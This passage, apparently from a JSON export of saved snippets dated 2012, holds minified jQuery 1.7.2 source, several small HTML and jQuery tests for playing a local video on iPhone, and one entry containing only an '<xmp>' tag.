a=f._data(this.elem,\"fxshow\"+this.prop);this.options.orig[this.prop]=a||f.style(this.elem,this.prop),this.options.show=!0,a!==b?this.custom(this.cur(),a):this.custom(this.prop===\"width\"||this.prop===\"height\"?1:0,this.cur()),f(this.elem).show()},hide:function(){this.options.orig[this.prop]=f._data(this.elem,\"fxshow\"+this.prop)||f.style(this.elem,this.prop),this.options.hide=!0,this.custom(this.cur(),0)},step:function(a){var b,c,d,e=cq||cr(),g=!0,h=this.elem,i=this.options;if(a||e\u003e=i.duration+this.startTime){this.now=this.end,this.pos=this.state=1,this.update(),i.animatedProperties[this.prop]=!0;for(b in i.animatedProperties)i.animatedProperties[b]!==!0\u0026\u0026(g=!1);if(g){i.overflow!=null\u0026\u0026!f.support.shrinkWrapBlocks\u0026\u0026f.each([\"\",\"X\",\"Y\"],function(a,b){h.style[\"overflow\"+b]=i.overflow[a]}),i.hide\u0026\u0026f(h).hide();if(i.hide||i.show)for(b in i.animatedProperties)f.style(h,b,i.orig[b]),f.removeData(h,\"fxshow\"+b,!0),f.removeData(h,\"toggle\"+b,!0);d=i.complete,d\u0026\u0026(i.complete=!1,d.call(h))}return!1}i.duration==Infinity?this.now=e:(c=e-this.startTime,this.state=c/i.duration,this.pos=f.easing[i.animatedProperties[this.prop]](this.state,c,0,1,i.duration),this.now=this.start+(this.end-this.start)*this.pos),this.update();return!0}},f.extend(f.fx,{tick:function(){var a,b=f.timers,c=0;for(;c\u003cb.length;c++)a=b[c],!a()\u0026\u0026b[c]===a\u0026\u0026b.splice(c--,1);b.length||f.fx.stop()},interval:13,stop:function(){clearInterval(co),co=null},speeds:{slow:600,fast:200,_default:400},step:{opacity:function(a){f.style(a.elem,\"opacity\",a.now)},_default:function(a){a.elem.style\u0026\u0026a.elem.style[a.prop]!=null?a.elem.style[a.prop]=a.now+a.unit:a.elem[a.prop]=a.now}}}),f.each(cp.concat.apply([],cp),function(a,b){b.indexOf(\"margin\")\u0026\u0026(f.fx.step[b]=function(a){f.style(a.elem,b,Math.max(0,a.now)+a.unit)})}),f.expr\u0026\u0026f.expr.filters\u0026\u0026(f.expr.filters.animated=function(a){return f.grep(f.timers,function(b){return a===b.elem}).length});var cv,cw=/^t(?:able|d|h)$/i,cx=/^(?:body|html)$/i;\"getBoundingClientRect\"in c.documentElement?cv=function(a,b,c,d){try{d=a.getBoundingClientRect()}catch(e){}if(!d||!f.contains(c,a))return d?{top:d.top,left:d.left}:{top:0,left:0};var g=b.body,h=cy(b),i=c.clientTop||g.clientTop||0,j=c.clientLeft||g.clientLeft||0,k=h.pageYOffset||f.support.boxModel\u0026\u0026c.scrollTop||g.scrollTop,l=h.pageXOffset||f.support.boxModel\u0026\u0026c.scrollLeft||g.scrollLeft,m=d.top+k-i,n=d.left+l-j;return{top:m,left:n}}:cv=function(a,b,c){var d,e=a.offsetParent,g=a,h=b.body,i=b.defaultView,j=i?i.getComputedStyle(a,null):a.currentStyle,k=a.offsetTop,l=a.offsetLeft;while((a=a.parentNode)\u0026\u0026a!==h\u0026\u0026a!==c){if(f.support.fixedPosition\u0026\u0026j.position===\"fixed\")break;d=i?i.getComputedStyle(a,null):a.currentStyle,k-=a.scrollTop,l-=a.scrollLeft,a===e\u0026\u0026(k+=a.offsetTop,l+=a.offsetLeft,f.support.doesNotAddBorder\u0026\u0026(!f.support.doesAddBorderForTableAndCells||!cw.test(a.nodeName))\u0026\u0026(k+=parseFloat(d.borderTopWidth)||0,l+=parseFloat(d.borderLeftWidth)||0),g=e,e=a.offsetParent),f.support.subtractsBorderForOverflowNotVisible\u0026\u0026d.overflow!==\"visible\"\u0026\u0026(k+=parseFloat(d.borderTopWidth)||0,l+=parseFloat(d.borderLeftWidth)||0),j=d}if(j.position===\"relative\"||j.position===\"static\")k+=h.offsetTop,l+=h.offsetLeft;f.support.fixedPosition\u0026\u0026j.position===\"fixed\"\u0026\u0026(k+=Math.max(c.scrollTop,h.scrollTop),l+=Math.max(c.scrollLeft,h.scrollLeft));return{top:k,left:l}},f.fn.offset=function(a){if(arguments.length)return a===b?this:this.each(function(b){f.offset.setOffset(this,a,b)});var c=this[0],d=c\u0026\u0026c.ownerDocument;if(!d)return null;if(c===d.body)return f.offset.bodyOffset(c);return cv(c,d,d.documentElement)},f.offset={bodyOffset:function(a){var b=a.offsetTop,c=a.offsetLeft;f.support.doesNotIncludeMarginInBodyOffset\u0026\u0026(b+=parseFloat(f.css(a,\"marginTop\"))||0,c+=parseFloat(f.css(a,\"marginLeft\"))||0);return{top:b,left:c}},setOffset:function(a,b,c){var d=f.css(a,\"position\");d===\"static\"\u0026\u0026(a.style.position=\"relative\");var e=f(a),g=e.offset(),h=f.css(a,\"top\"),i=f.css(a,\"left\"),j=(d===\"absolute\"||d===\"fixed\")\u0026\u0026f.inArray(\"auto\",[h,i])\u003e-1,k={},l={},m,n;j?(l=e.position(),m=l.top,n=l.left):(m=parseFloat(h)||0,n=parseFloat(i)||0),f.isFunction(b)\u0026\u0026(b=b.call(a,c,g)),b.top!=null\u0026\u0026(k.top=b.top-g.top+m),b.left!=null\u0026\u0026(k.left=b.left-g.left+n),\"using\"in b?b.using.call(a,k):e.css(k)}},f.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),c=this.offset(),d=cx.test(b[0].nodeName)?{top:0,left:0}:b.offset();c.top-=parseFloat(f.css(a,\"marginTop\"))||0,c.left-=parseFloat(f.css(a,\"marginLeft\"))||0,d.top+=parseFloat(f.css(b[0],\"borderTopWidth\"))||0,d.left+=parseFloat(f.css(b[0],\"borderLeftWidth\"))||0;return{top:c.top-d.top,left:c.left-d.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||c.body;while(a\u0026\u0026!cx.test(a.nodeName)\u0026\u0026f.css(a,\"position\")===\"static\")a=a.offsetParent;return a})}}),f.each({scrollLeft:\"pageXOffset\",scrollTop:\"pageYOffset\"},function(a,c){var d=/Y/.test(c);f.fn[a]=function(e){return f.access(this,function(a,e,g){var h=cy(a);if(g===b)return h?c in h?h[c]:f.support.boxModel\u0026\u0026h.document.documentElement[e]||h.document.body[e]:a[e];h?h.scrollTo(d?f(h).scrollLeft():g,d?g:f(h).scrollTop()):a[e]=g},a,e,arguments.length,null)}}),f.each({Height:\"height\",Width:\"width\"},function(a,c){var d=\"client\"+a,e=\"scroll\"+a,g=\"offset\"+a;f.fn[\"inner\"+a]=function(){var a=this[0];return a?a.style?parseFloat(f.css(a,c,\"padding\")):this[c]():null},f.fn[\"outer\"+a]=function(a){var b=this[0];return b?b.style?parseFloat(f.css(b,c,a?\"margin\":\"border\")):this[c]():null},f.fn[c]=function(a){return f.access(this,function(a,c,h){var i,j,k,l;if(f.isWindow(a)){i=a.document,j=i.documentElement[d];return f.support.boxModel\u0026\u0026j||i.body\u0026\u0026i.body[d]||j}if(a.nodeType===9){i=a.documentElement;if(i[d]\u003e=i[e])return i[d];return Math.max(a.body[e],i[e],a.body[g],i[g])}if(h===b){k=f.css(a,c),l=parseFloat(k);return f.isNumeric(l)?l:k}f(a).css(c,h)},c,a,arguments.length,null)}}),a.jQuery=a.$=f,typeof define==\"function\"\u0026\u0026define.amd\u0026\u0026define.amd.jQuery\u0026\u0026define(\"jquery\",[],function(){return f})})(window);","created_at":"2012-06-16T15:37:14.000Z","updated_at":"2012-06-16T15:37:14.000Z"},{"id":2103,"name":"test_for_iphone","body":"\u003cvideo src='/test.mp4'\u003e","created_at":"2012-07-04T08:41:21.000Z","updated_at":"2012-07-04T08:41:21.000Z"},{"id":2104,"name":"test_for_iphone","body":"\u003cvideo src='/test.mp4'\u003e\r\n\r\n\u003cscript\u003e\r\nvar n = $('video')[0]\r\nn.addEventListener('canplay', function(){\r\n n.setAttribute('controls', 'controls');\r\n n.play()\r\n})\r\nn.load()\r\n\u003c/script\u003e","created_at":"2012-07-04T08:42:32.000Z","updated_at":"2012-07-04T08:42:32.000Z"},{"id":2105,"name":"test_for_iphone","body":"\u003cvideo src='/test.mp4'\u003e\r\n\u003cbutton\u003eplay\u003c/button\u003e\r\n\u003cscript\u003e\r\nvar n = $('video')[0]\r\nn.addEventListener('canplay', function(){\r\n n.setAttribute('controls', 'controls');\r\n})\r\n$('button').click(function(){n.play()});\r\n\r\n\r\nn.load()\r\n\u003c/script\u003e","created_at":"2012-07-06T02:56:24.000Z","updated_at":"2012-07-06T02:56:24.000Z"},{"id":2106,"name":"test_for_iphone","body":"\u003cvideo src='/test.mp4'\u003e\r\n\u003cbutton\u003eplay\u003c/button\u003e\r\n\u003cscript\u003e\r\nvar n = $('video')[0]\r\nn.addEventListener('canplay', function(){\r\n n.setAttribute('controls', 'controls');\r\n})\r\n$('button').click(function(){n.play()});\r\n\r\n\r\nn.load()\r\n\u003c/script\u003e","created_at":"2012-07-06T02:56:25.000Z","updated_at":"2012-07-06T02:56:25.000Z"},{"id":2107,"name":"test_for_iphone","body":"\u003cvideo src='/test.mp4'\u003e\r\n\u003cbutton value=play\u003e\r\n\u003cscript\u003e\r\nvar n = $('video')[0]\r\nn.addEventListener('canplay', function(){\r\n n.setAttribute('controls', 'controls');\r\n})\r\n$('button').click(function(){n.play()});\r\n\r\n\r\nn.load()\r\n\u003c/script\u003e","created_at":"2012-07-06T02:57:09.000Z","updated_at":"2012-07-06T02:57:09.000Z"},{"id":2108,"name":"test_for_iphone","body":"\u003cvideo src='/test.mp4'\u003e\r\n\r\n\u003cbutton\u003eplay\u003c/button\u003e\r\n\r\n\u003cscript\u003e\r\nvar n = $('video')[0]\r\nn.addEventListener('canplay', function(){\r\n n.setAttribute('controls', 'controls');\r\n})\r\n$('button').click(function(){n.play()});\r\n\r\n\r\nn.load()\r\n\u003c/script\u003e","created_at":"2012-07-06T02:57:48.000Z","updated_at":"2012-07-06T02:57:48.000Z"},{"id":2109,"name":"test_for_iphone","body":"\u003cvideo src='/test.mp4'\u003e\r\n\r\n\u003cbutton\u003eplay\u003c/button\u003e\r\n\r\n\u003cscript\u003e\r\nvar n = $('video')[0]\r\nn.addEventListener('canplay', function(){\r\n n.setAttribute('controls', 'controls');\r\n})\r\n$('button').click(function(){n.play()});\r\n$('button').click()\r\n\r\n\r\nn.load()\r\n\u003c/script\u003e","created_at":"2012-07-06T02:58:22.000Z","updated_at":"2012-07-06T02:58:22.000Z"},{"id":2110,"name":"test_for_iphone","body":"\u003cvideo src='/test.mp4'\u003e\r\n\r\n\u003cbutton\u003eplay\u003c/button\u003e\r\n\r\n\u003cscript\u003e\r\nvar n = $('video')[0]\r\nn.addEventListener('canplay', function(){\r\n n.setAttribute('controls', 'controls');\r\n $('button').click()\r\n})\r\n$('button').click(function(){n.play()});\r\n\r\n\r\nn.load()\r\n\u003c/script\u003e","created_at":"2012-07-06T03:01:30.000Z","updated_at":"2012-07-06T03:01:30.000Z"},{"id":2111,"name":"test_for_iphone","body":"\u003cvideo src='/test.mp4'\u003e\r\n\r\n\u003cscript\u003e\r\nvar n = $('video')[0]\r\nn.addEventListener('canplay', function(){\r\n n.setAttribute('controls', 'controls');\r\n})\r\n$('body').click(function(){n.play()});\r\n\r\n\r\nn.load()\r\n\u003c/script\u003e","created_at":"2012-07-06T03:02:47.000Z","updated_at":"2012-07-06T03:02:47.000Z"},{"id":2112,"name":"\u003cxmp\u003e","body":"\u003cxmp\u003e","created_at":"2012-07-26T06:26:58.000Z","updated_at":"2012-07-26T06:26:58.000Z"},{"id":2113,"name":"jquery.js","body":"raw\nmime js\n/*! jQuery v1.7.2 jquery.com | jquery.org/license */\n(function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cu(a){if(!cj[a]){var b=c.body,d=f(\"\u003c\"+a+\"\u003e\").appendTo(b),e=d.css(\"display\");d.remove();if(e===\"none\"||e===\"\"){ck||(ck=c.createElement(\"iframe\"),ck.frameBorder=ck.width=ck.height=0),b.appendChild(ck);if(!cl||!ck.createElement)cl=(ck.contentWindow||ck.contentDocument).document,cl.write((f.support.boxModel?\"\u003c!doctype html\u003e\":\"\")+\"\u003chtml\u003e\u003cbody\u003e\"),cl.close();d=cl.createElement(a),cl.body.appendChild(d),e=f.css(d,\"display\"),b.removeChild(ck)}cj[a]=e}return cj[a]}function ct(a,b){var c={};f.each(cp.concat.apply([],cp.slice(0,b)),function(){c[this]=a});return c}function cs(){cq=b}function cr(){setTimeout(cs,0);return cq=f.now()}function ci(){try{return new a.ActiveXObject(\"Microsoft.XMLHTTP\")}catch(b){}}function ch(){try{return new a.XMLHttpRequest}catch(b){}}function cb(a,c){a.dataFilter\u0026\u0026(c=a.dataFilter(c,a.dataType));var d=a.dataTypes,e={},g,h,i=d.length,j,k=d[0],l,m,n,o,p;for(g=1;g\u003ci;g++){if(g===1)for(h in a.converters)typeof h==\"string\"\u0026\u0026(e[h.toLowerCase()]=a.converters[h]);l=k,k=d[g];if(k===\"*\")k=l;else if(l!==\"*\"\u0026\u0026l!==k){m=l+\" \"+k,n=e[m]||e[\"* \"+k];if(!n){p=b;for(o in e){j=o.split(\" \");if(j[0]===l||j[0]===\"*\"){p=e[j[1]+\" \"+k];if(p){o=e[o],o===!0?n=p:p===!0\u0026\u0026(n=o);break}}}}!n\u0026\u0026!p\u0026\u0026f.error(\"No conversion from \"+m.replace(\" \",\" to \")),n!==!0\u0026\u0026(c=n?n(c):p(o(c)))}}return c}function ca(a,c,d){var e=a.contents,f=a.dataTypes,g=a.responseFields,h,i,j,k;for(i in g)i in d\u0026\u0026(c[g[i]]=d[i]);while(f[0]===\"*\")f.shift(),h===b\u0026\u0026(h=a.mimeType||c.getResponseHeader(\"content-type\"));if(h)for(i in e)if(e[i]\u0026\u0026e[i].test(h)){f.unshift(i);break}if(f[0]in d)j=f[0];else{for(i in d){if(!f[0]||a.converters[i+\" \"+f[0]]){j=i;break}k||(k=i)}j=j||k}if(j){j!==f[0]\u0026\u0026f.unshift(j);return d[j]}}function b_(a,b,c,d){if(f.isArray(b))f.each(b,function(b,e){c||bD.test(a)?d(a,e):b_(a+\"[\"+(typeof e==\"object\"?b:\"\")+\"]\",e,c,d)});else if(!c\u0026\u0026f.type(b)===\"object\")for(var e in b)b_(a+\"[\"+e+\"]\",b[e],c,d);else d(a,b)}function b$(a,c){var d,e,g=f.ajaxSettings.flatOptions||{};for(d in c)c[d]!==b\u0026\u0026((g[d]?a:e||(e={}))[d]=c[d]);e\u0026\u0026f.extend(!0,a,e)}function bZ(a,c,d,e,f,g){f=f||c.dataTypes[0],g=g||{},g[f]=!0;var h=a[f],i=0,j=h?h.length:0,k=a===bS,l;for(;i\u003cj\u0026\u0026(k||!l);i++)l=h[i](c,d,e),typeof l==\"string\"\u0026\u0026(!k||g[l]?l=b:(c.dataTypes.unshift(l),l=bZ(a,c,d,e,l,g)));(k||!l)\u0026\u0026!g[\"*\"]\u0026\u0026(l=bZ(a,c,d,e,\"*\",g));return l}function bY(a){return function(b,c){typeof b!=\"string\"\u0026\u0026(c=b,b=\"*\");if(f.isFunction(c)){var d=b.toLowerCase().split(bO),e=0,g=d.length,h,i,j;for(;e\u003cg;e++)h=d[e],j=/^\\+/.test(h),j\u0026\u0026(h=h.substr(1)||\"*\"),i=a[h]=a[h]||[],i[j?\"unshift\":\"push\"](c)}}}function bB(a,b,c){var d=b===\"width\"?a.offsetWidth:a.offsetHeight,e=b===\"width\"?1:0,g=4;if(d\u003e0){if(c!==\"border\")for(;e\u003cg;e+=2)c||(d-=parseFloat(f.css(a,\"padding\"+bx[e]))||0),c===\"margin\"?d+=parseFloat(f.css(a,c+bx[e]))||0:d-=parseFloat(f.css(a,\"border\"+bx[e]+\"Width\"))||0;return d+\"px\"}d=by(a,b);if(d\u003c0||d==null)d=a.style[b];if(bt.test(d))return d;d=parseFloat(d)||0;if(c)for(;e\u003cg;e+=2)d+=parseFloat(f.css(a,\"padding\"+bx[e]))||0,c!==\"padding\"\u0026\u0026(d+=parseFloat(f.css(a,\"border\"+bx[e]+\"Width\"))||0),c===\"margin\"\u0026\u0026(d+=parseFloat(f.css(a,c+bx[e]))||0);return d+\"px\"}function bo(a){var b=c.createElement(\"div\");bh.appendChild(b),b.innerHTML=a.outerHTML;return b.firstChild}function bn(a){var b=(a.nodeName||\"\").toLowerCase();b===\"input\"?bm(a):b!==\"script\"\u0026\u0026typeof a.getElementsByTagName!=\"undefined\"\u0026\u0026f.grep(a.getElementsByTagName(\"input\"),bm)}function bm(a){if(a.type===\"checkbox\"||a.type===\"radio\")a.defaultChecked=a.checked}function bl(a){return typeof a.getElementsByTagName!=\"undefined\"?a.getElementsByTagName(\"*\"):typeof a.querySelectorAll!=\"undefined\"?a.querySelectorAll(\"*\"):[]}function bk(a,b){var c;b.nodeType===1\u0026\u0026(b.clearAttributes\u0026\u0026b.clearAttributes(),b.mergeAttributes\u0026\u0026b.mergeAttributes(a),c=b.nodeName.toLowerCase(),c===\"object\"?b.outerHTML=a.outerHTML:c!==\"input\"||a.type!==\"checkbox\"\u0026\u0026a.type!==\"radio\"?c===\"option\"?b.selected=a.defaultSelected:c===\"input\"||c===\"textarea\"?b.defaultValue=a.defaultValue:c===\"script\"\u0026\u0026b.text!==a.text\u0026\u0026(b.text=a.text):(a.checked\u0026\u0026(b.defaultChecked=b.checked=a.checked),b.value!==a.value\u0026\u0026(b.value=a.value)),b.removeAttribute(f.expando),b.removeAttribute(\"_submit_attached\"),b.removeAttribute(\"_change_attached\"))}function bj(a,b){if(b.nodeType===1\u0026\u0026!!f.hasData(a)){var c,d,e,g=f._data(a),h=f._data(b,g),i=g.events;if(i){delete h.handle,h.events={};for(c in i)for(d=0,e=i[c].length;d\u003ce;d++)f.event.add(b,c,i[c][d])}h.data\u0026\u0026(h.data=f.extend({},h.data))}}function bi(a,b){return f.nodeName(a,\"table\")?a.getElementsByTagName(\"tbody\")[0]||a.appendChild(a.ownerDocument.createElement(\"tbody\")):a}function U(a){var b=V.split(\"|\"),c=a.createDocumentFragment();if(c.createElement)while(b.length)c.createElement(b.pop());return c}function T(a,b,c){b=b||0;if(f.isFunction(b))return f.grep(a,function(a,d){var e=!!b.call(a,d,a);return e===c});if(b.nodeType)return f.grep(a,function(a,d){return a===b===c});if(typeof b==\"string\"){var d=f.grep(a,function(a){return a.nodeType===1});if(O.test(b))return f.filter(b,d,!c);b=f.filter(b,d)}return f.grep(a,function(a,d){return f.inArray(a,b)\u003e=0===c})}function S(a){return!a||!a.parentNode||a.parentNode.nodeType===11}function K(){return!0}function J(){return!1}function n(a,b,c){var d=b+\"defer\",e=b+\"queue\",g=b+\"mark\",h=f._data(a,d);h\u0026\u0026(c===\"queue\"||!f._data(a,e))\u0026\u0026(c===\"mark\"||!f._data(a,g))\u0026\u0026setTimeout(function(){!f._data(a,e)\u0026\u0026!f._data(a,g)\u0026\u0026(f.removeData(a,d,!0),h.fire())},0)}function m(a){for(var b in a){if(b===\"data\"\u0026\u0026f.isEmptyObject(a[b]))continue;if(b!==\"toJSON\")return!1}return!0}function l(a,c,d){if(d===b\u0026\u0026a.nodeType===1){var e=\"data-\"+c.replace(k,\"-$1\").toLowerCase();d=a.getAttribute(e);if(typeof d==\"string\"){try{d=d===\"true\"?!0:d===\"false\"?!1:d===\"null\"?null:f.isNumeric(d)?+d:j.test(d)?f.parseJSON(d):d}catch(g){}f.data(a,c,d)}else d=b}return d}function h(a){var b=g[a]={},c,d;a=a.split(/\\s+/);for(c=0,d=a.length;c\u003cd;c++)b[a[c]]=!0;return b}var c=a.document,d=a.navigator,e=a.location,f=function(){function J(){if(!e.isReady){try{c.documentElement.doScroll(\"left\")}catch(a){setTimeout(J,1);return}e.ready()}}var e=function(a,b){return new e.fn.init(a,b,h)},f=a.jQuery,g=a.$,h,i=/^(?:[^#\u003c]*(\u003c[\\w\\W]+\u003e)[^\u003e]*$|#([\\w\\-]*)$)/,j=/\\S/,k=/^\\s+/,l=/\\s+$/,m=/^\u003c(\\w+)\\s*\\/?\u003e(?:\u003c\\/\\1\u003e)?$/,n=/^[\\],:{}\\s]*$/,o=/\\\\(?:[\"\\\\\\/bfnrt]|u[0-9a-fA-F]{4})/g,p=/\"[^\"\\\\\\n\\r]*\"|true|false|null|-?\\d+(?:\\.\\d*)?(?:[eE][+\\-]?\\d+)?/g,q=/(?:^|:|,)(?:\\s*\\[)+/g,r=/(webkit)[ \\/]([\\w.]+)/,s=/(opera)(?:.*version)?[ \\/]([\\w.]+)/,t=/(msie) ([\\w.]+)/,u=/(mozilla)(?:.*? rv:([\\w.]+))?/,v=/-([a-z]|[0-9])/ig,w=/^-ms-/,x=function(a,b){return(b+\"\").toUpperCase()},y=d.userAgent,z,A,B,C=Object.prototype.toString,D=Object.prototype.hasOwnProperty,E=Array.prototype.push,F=Array.prototype.slice,G=String.prototype.trim,H=Array.prototype.indexOf,I={};e.fn=e.prototype={constructor:e,init:function(a,d,f){var g,h,j,k;if(!a)return this;if(a.nodeType){this.context=this[0]=a,this.length=1;return this}if(a===\"body\"\u0026\u0026!d\u0026\u0026c.body){this.context=c,this[0]=c.body,this.selector=a,this.length=1;return this}if(typeof a==\"string\"){a.charAt(0)!==\"\u003c\"||a.charAt(a.length-1)!==\"\u003e\"||a.length\u003c3?g=i.exec(a):g=[null,a,null];if(g\u0026\u0026(g[1]||!d)){if(g[1]){d=d instanceof e?d[0]:d,k=d?d.ownerDocument||d:c,j=m.exec(a),j?e.isPlainObject(d)?(a=[c.createElement(j[1])],e.fn.attr.call(a,d,!0)):a=[k.createElement(j[1])]:(j=e.buildFragment([g[1]],[k]),a=(j.cacheable?e.clone(j.fragment):j.fragment).childNodes);return e.merge(this,a)}h=c.getElementById(g[2]);if(h\u0026\u0026h.parentNode){if(h.id!==g[2])return f.find(a);this.length=1,this[0]=h}this.context=c,this.selector=a;return this}return!d||d.jquery?(d||f).find(a):this.constructor(d).find(a)}if(e.isFunction(a))return f.ready(a);a.selector!==b\u0026\u0026(this.selector=a.selector,this.context=a.context);return e.makeArray(a,this)},selector:\"\",jquery:\"1.7.2\",length:0,size:function(){return this.length},toArray:function(){return F.call(this,0)},get:function(a){return a==null?this.toArray():a\u003c0?this[this.length+a]:this[a]},pushStack:function(a,b,c){var d=this.constructor();e.isArray(a)?E.apply(d,a):e.merge(d,a),d.prevObject=this,d.context=this.context,b===\"find\"?d.selector=this.selector+(this.selector?\" \":\"\")+c:b\u0026\u0026(d.selector=this.selector+\".\"+b+\"(\"+c+\")\");return d},each:function(a,b){return e.each(this,a,b)},ready:function(a){e.bindReady(),A.add(a);return this},eq:function(a){a=+a;return a===-1?this.slice(a):this.slice(a,a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(F.apply(this,arguments),\"slice\",F.call(arguments).join(\",\"))},map:function(a){return this.pushStack(e.map(this,function(b,c){return a.call(b,c,b)}))},end:function(){return this.prevObject||this.constructor(null)},push:E,sort:[].sort,splice:[].splice},e.fn.init.prototype=e.fn,e.extend=e.fn.extend=function(){var a,c,d,f,g,h,i=arguments[0]||{},j=1,k=arguments.length,l=!1;typeof i==\"boolean\"\u0026\u0026(l=i,i=arguments[1]||{},j=2),typeof i!=\"object\"\u0026\u0026!e.isFunction(i)\u0026\u0026(i={}),k===j\u0026\u0026(i=this,--j);for(;j\u003ck;j++)if((a=arguments[j])!=null)for(c in a){d=i[c],f=a[c];if(i===f)continue;l\u0026\u0026f\u0026\u0026(e.isPlainObject(f)||(g=e.isArray(f)))?(g?(g=!1,h=d\u0026\u0026e.isArray(d)?d:[]):h=d\u0026\u0026e.isPlainObject(d)?d:{},i[c]=e.extend(l,h,f)):f!==b\u0026\u0026(i[c]=f)}return i},e.extend({noConflict:function(b){a.$===e\u0026\u0026(a.$=g),b\u0026\u0026a.jQuery===e\u0026\u0026(a.jQuery=f);return e},isReady:!1,readyWait:1,holdReady:function(a){a?e.readyWait++:e.ready(!0)},ready:function(a){if(a===!0\u0026\u0026!--e.readyWait||a!==!0\u0026\u0026!e.isReady){if(!c.body)return setTimeout(e.ready,1);e.isReady=!0;if(a!==!0\u0026\u0026--e.readyWait\u003e0)return;A.fireWith(c,[e]),e.fn.trigger\u0026\u0026e(c).trigger(\"ready\").off(\"ready\")}},bindReady:function(){if(!A){A=e.Callbacks(\"once memory\");if(c.readyState===\"complete\")return setTimeout(e.ready,1);if(c.addEventListener)c.addEventListener(\"DOMContentLoaded\",B,!1),a.addEventListener(\"load\",e.ready,!1);else if(c.attachEvent){c.attachEvent(\"onreadystatechange\",B),a.attachEvent(\"onload\",e.ready);var b=!1;try{b=a.frameElement==null}catch(d){}c.documentElement.doScroll\u0026\u0026b\u0026\u0026J()}}},isFunction:function(a){return e.type(a)===\"function\"},isArray:Array.isArray||function(a){return e.type(a)===\"array\"},isWindow:function(a){return a!=null\u0026\u0026a==a.window},isNumeric:function(a){return!isNaN(parseFloat(a))\u0026\u0026isFinite(a)},type:function(a){return a==null?String(a):I[C.call(a)]||\"object\"},isPlainObject:function(a){if(!a||e.type(a)!==\"object\"||a.nodeType||e.isWindow(a))return!1;try{if(a.constructor\u0026\u0026!D.call(a,\"constructor\")\u0026\u0026!D.call(a.constructor.prototype,\"isPrototypeOf\"))return!1}catch(c){return!1}var d;for(d in a);return d===b||D.call(a,d)},isEmptyObject:function(a){for(var b in a)return!1;return!0},error:function(a){throw new Error(a)},parseJSON:function(b){if(typeof b!=\"string\"||!b)return null;b=e.trim(b);if(a.JSON\u0026\u0026a.JSON.parse)return a.JSON.parse(b);if(n.test(b.replace(o,\"@\").replace(p,\"]\").replace(q,\"\")))return(new Function(\"return \"+b))();e.error(\"Invalid JSON: \"+b)},parseXML:function(c){if(typeof c!=\"string\"||!c)return null;var d,f;try{a.DOMParser?(f=new DOMParser,d=f.parseFromString(c,\"text/xml\")):(d=new ActiveXObject(\"Microsoft.XMLDOM\"),d.async=\"false\",d.loadXML(c))}catch(g){d=b}(!d||!d.documentElement||d.getElementsByTagName(\"parsererror\").length)\u0026\u0026e.error(\"Invalid XML: \"+c);return d},noop:function(){},globalEval:function(b){b\u0026\u0026j.test(b)\u0026\u0026(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(w,\"ms-\").replace(v,x)},nodeName:function(a,b){return a.nodeName\u0026\u0026a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,c,d){var f,g=0,h=a.length,i=h===b||e.isFunction(a);if(d){if(i){for(f in a)if(c.apply(a[f],d)===!1)break}else for(;g\u003ch;)if(c.apply(a[g++],d)===!1)break}else if(i){for(f in a)if(c.call(a[f],f,a[f])===!1)break}else for(;g\u003ch;)if(c.call(a[g],g,a[g++])===!1)break;return a},trim:G?function(a){return a==null?\"\":G.call(a)}:function(a){return a==null?\"\":(a+\"\").replace(k,\"\").replace(l,\"\")},makeArray:function(a,b){var c=b||[];if(a!=null){var d=e.type(a);a.length==null||d===\"string\"||d===\"function\"||d===\"regexp\"||e.isWindow(a)?E.call(c,a):e.merge(c,a)}return c},inArray:function(a,b,c){var d;if(b){if(H)return H.call(b,a,c);d=b.length,c=c?c\u003c0?Math.max(0,d+c):c:0;for(;c\u003cd;c++)if(c in b\u0026\u0026b[c]===a)return c}return-1},merge:function(a,c){var d=a.length,e=0;if(typeof c.length==\"number\")for(var f=c.length;e\u003cf;e++)a[d++]=c[e];else while(c[e]!==b)a[d++]=c[e++];a.length=d;return a},grep:function(a,b,c){var d=[],e;c=!!c;for(var f=0,g=a.length;f\u003cg;f++)e=!!b(a[f],f),c!==e\u0026\u0026d.push(a[f]);return d},map:function(a,c,d){var f,g,h=[],i=0,j=a.length,k=a instanceof e||j!==b\u0026\u0026typeof j==\"number\"\u0026\u0026(j\u003e0\u0026\u0026a[0]\u0026\u0026a[j-1]||j===0||e.isArray(a));if(k)for(;i\u003cj;i++)f=c(a[i],i,d),f!=null\u0026\u0026(h[h.length]=f);else for(g in a)f=c(a[g],g,d),f!=null\u0026\u0026(h[h.length]=f);return h.concat.apply([],h)},guid:1,proxy:function(a,c){if(typeof c==\"string\"){var d=a[c];c=a,a=d}if(!e.isFunction(a))return b;var f=F.call(arguments,2),g=function(){return a.apply(c,f.concat(F.call(arguments)))};g.guid=a.guid=a.guid||g.guid||e.guid++;return g},access:function(a,c,d,f,g,h,i){var j,k=d==null,l=0,m=a.length;if(d\u0026\u0026typeof d==\"object\"){for(l in d)e.access(a,c,l,d[l],1,h,f);g=1}else if(f!==b){j=i===b\u0026\u0026e.isFunction(f),k\u0026\u0026(j?(j=c,c=function(a,b,c){return j.call(e(a),c)}):(c.call(a,f),c=null));if(c)for(;l\u003cm;l++)c(a[l],d,j?f.call(a[l],l,c(a[l],d)):f,i);g=1}return g?a:k?c.call(a):m?c(a[0],d):h},now:function(){return(new Date).getTime()},uaMatch:function(a){a=a.toLowerCase();var b=r.exec(a)||s.exec(a)||t.exec(a)||a.indexOf(\"compatible\")\u003c0\u0026\u0026u.exec(a)||[];return{browser:b[1]||\"\",version:b[2]||\"0\"}},sub:function(){function a(b,c){return new a.fn.init(b,c)}e.extend(!0,a,this),a.superclass=this,a.fn=a.prototype=this(),a.fn.constructor=a,a.sub=this.sub,a.fn.init=function(d,f){f\u0026\u0026f instanceof e\u0026\u0026!(f instanceof a)\u0026\u0026(f=a(f));return e.fn.init.call(this,d,f,b)},a.fn.init.prototype=a.fn;var b=a(c);return a},browser:{}}),e.each(\"Boolean Number String Function Array Date RegExp Object\".split(\" \"),function(a,b){I[\"[object \"+b+\"]\"]=b.toLowerCase()}),z=e.uaMatch(y),z.browser\u0026\u0026(e.browser[z.browser]=!0,e.browser.version=z.version),e.browser.webkit\u0026\u0026(e.browser.safari=!0),j.test(\" 